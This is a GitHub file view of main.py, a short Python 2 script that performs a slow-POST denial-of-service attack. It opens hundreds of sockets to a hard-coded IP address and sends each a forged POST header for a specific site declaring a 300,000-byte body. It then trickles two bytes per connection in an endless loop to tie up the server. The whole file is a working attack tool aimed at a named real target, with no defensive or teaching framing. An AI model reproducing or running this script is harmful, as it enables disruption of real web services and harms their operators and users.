-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathmain.py
More file actions
executable file
·51 lines (51 loc) · 1.66 KB
/
main.py
File metadata and controls
executable file
·51 lines (51 loc) · 1.66 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#!/usr/bin/env python
#coding=utf-8
import socket,time
socket.setdefaulttimeout(3)
cs,header=[],"""POST /html/savetel.asp HTTP/1.1
Host: nohack8.cn
Connection: keep-alive
Content-Length: 300000
Cache-Control: max-age=0
Origin: http://nohack8.cn
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.19 (KHTML, like Gecko) Ubuntu/12.04 Chromium/18.0.1025.168 Chrome/18.0.1025.168 Safari/535.19
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://nohack8.cn/
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: UTF-8,*;q=0.5
Cookie: ASPSESSIONIDQCSTQQSC=ECBMKHLCKBFFIAEKJBLJMMLD\r\n\r\n"""
while True:
try:
for i in range(100):
csd=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
csd.connect(('98.126.125.187',80))
csd.send(header)
cs.append(csd)
except KeyboardInterrupt,error:
for i in range(len(cs)):
try:
cs[0].close()
except Exception,error:
print type(error),error
cs.remove(cs[0])
print 'closing...',len(cs)
break
except Exception,error:
print type(error),error
print 'connect',len(cs)
for csd in cs:
try:
csd.send('io')
except KeyboardInterrupt,error:
for i in range(len(cs)):
try:
cs[0].close()
except Exception,error:
print type(error),error
cs.remove(cs[0])
print 'closing...',len(cs)
break
except:
cs.remove(csd)